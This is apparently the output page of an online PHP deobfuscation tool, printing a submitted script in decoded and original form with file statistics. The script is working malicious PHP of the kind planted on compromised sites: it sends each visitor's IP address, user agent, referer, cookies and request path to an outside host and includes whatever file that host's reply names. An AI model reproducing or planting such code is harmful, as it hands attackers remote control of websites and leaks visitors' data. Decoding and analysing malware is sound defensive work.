Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(E_ALL & ~E_NOTICE);header("Cache-Control: no-store, no-cache, must-r..

Decoded Output download

<?php error_reporting(E_ALL & ~E_NOTICE);header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");$dir=basename(__DIR__);if(preg_match("/public_html|www|httpdocs|httpsdocs|lib|public|html|http|https|web/", $dir)){$dir="";}$id="213295";$uid="n3cwg3dut2trg3hzicl8f5hut";$qu=$_SERVER["QUERY_STRING"];$ch=curl_init();$url="http://jcibj.com/pcl.php";$data=array("lan"=>$_SERVER["HTTP_ACCEPT_LANGUAGE"],"ref"=>$_SERVER["HTTP_REFERER"],"ip"=>$_SERVER["REMOTE_ADDR"],"ipr"=>$_SERVER["HTTP_X_FORWARDED_FOR"],"sn"=>$_SERVER["SERVER_NAME"],"requestUri"=>$_SERVER["REQUEST_URI"],"query"=>$qu,"ua"=>$_SERVER["HTTP_USER_AGENT"],"co"=>$_COOKIE["_event"],"user_id"=>$uid,"id"=>$id);curl_setopt($ch,CURLOPT_URL, $url);curl_setopt($ch,CURLOPT_RETURNTRANSFER, true);curl_setopt($ch,CURLOPT_POST, true);curl_setopt($ch,CURLOPT_POSTFIELDS, $data);$result = curl_exec($ch);curl_close($ch);$arr = explode(",",$result);if(!empty($qu)){if(strpos($arr[1],"?")){$q="&".$qu;}else{$q="?".$qu;}}else{$q="";}if($arr[0] === "true"){if(strstr($arr[1],"sp.php")){$q="";}if(!empty($arr[7])){setcookie($arr[7],$arr[8],time()+60*60*24*$arr[9]);$_COOKIE[$arr[7]]=$arr[8];}if($arr[2]){if($arr[4] == 1 OR $arr[4] == 3){setcookie("_event",$arr[6],time()+60*60*24*$arr[3]);}}require_once(preg_replace("/(http(s)?:\/\/(www\.)?(.*?)".$dir."\/|\?(.*))/","",$arr[1]));die();}elseif($arr[0] === "false"){if($arr[2]){if($arr[4] == 2 OR $arr[4] == 3){setcookie("_event",$arr[6]."b",time()+60*60*24*$arr[3]);}}require_once(preg_replace("/(http(s)?:\/\/(www\.)?(.*?)".$dir."\/|\?(.*))/","",$arr[1]));}else{if($arr[2]){if($arr[4] == 2 OR $arr[4] == 3){setcookie("_event",$arr[6]."b",time()+60*60*24*$arr[3]);}}}?>

Did this file decode correctly?

Original Code

<?php error_reporting(E_ALL & ~E_NOTICE);header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");$dir=basename(__DIR__);if(preg_match("/public_html|www|httpdocs|httpsdocs|lib|public|html|http|https|web/", $dir)){$dir="";}$id="213295";$uid="n3cwg3dut2trg3hzicl8f5hut";$qu=$_SERVER["QUERY_STRING"];$ch=curl_init();$url="http://jcibj.com/pcl.php";$data=array("lan"=>$_SERVER["HTTP_ACCEPT_LANGUAGE"],"ref"=>$_SERVER["HTTP_REFERER"],"ip"=>$_SERVER["REMOTE_ADDR"],"ipr"=>$_SERVER["HTTP_X_FORWARDED_FOR"],"sn"=>$_SERVER["SERVER_NAME"],"requestUri"=>$_SERVER["REQUEST_URI"],"query"=>$qu,"ua"=>$_SERVER["HTTP_USER_AGENT"],"co"=>$_COOKIE["_event"],"user_id"=>$uid,"id"=>$id);curl_setopt($ch,CURLOPT_URL, $url);curl_setopt($ch,CURLOPT_RETURNTRANSFER, true);curl_setopt($ch,CURLOPT_POST, true);curl_setopt($ch,CURLOPT_POSTFIELDS, $data);$result = curl_exec($ch);curl_close($ch);$arr = explode(",",$result);if(!empty($qu)){if(strpos($arr[1],"?")){$q="&".$qu;}else{$q="?".$qu;}}else{$q="";}if($arr[0] === "true"){if(strstr($arr[1],"sp.php")){$q="";}if(!empty($arr[7])){setcookie($arr[7],$arr[8],time()+60*60*24*$arr[9]);$_COOKIE[$arr[7]]=$arr[8];}if($arr[2]){if($arr[4] == 1 OR $arr[4] == 3){setcookie("_event",$arr[6],time()+60*60*24*$arr[3]);}}require_once(preg_replace("/(http(s)?:\/\/(www\.)?(.*?)".$dir."\/|\?(.*))/","",$arr[1]));die();}elseif($arr[0] === "false"){if($arr[2]){if($arr[4] == 2 OR $arr[4] == 3){setcookie("_event",$arr[6]."b",time()+60*60*24*$arr[3]);}}require_once(preg_replace("/(http(s)?:\/\/(www\.)?(.*?)".$dir."\/|\?(.*))/","",$arr[1]));}else{if($arr[2]){if($arr[4] == 2 OR $arr[4] == 3){setcookie("_event",$arr[6]."b",time()+60*60*24*$arr[3]);}}}?>

Function Calls

None

Variables

None

Stats

MD5 8454a93edd3c47100be5a920c6e9996c
Eval Count 0
Decode Time 91 ms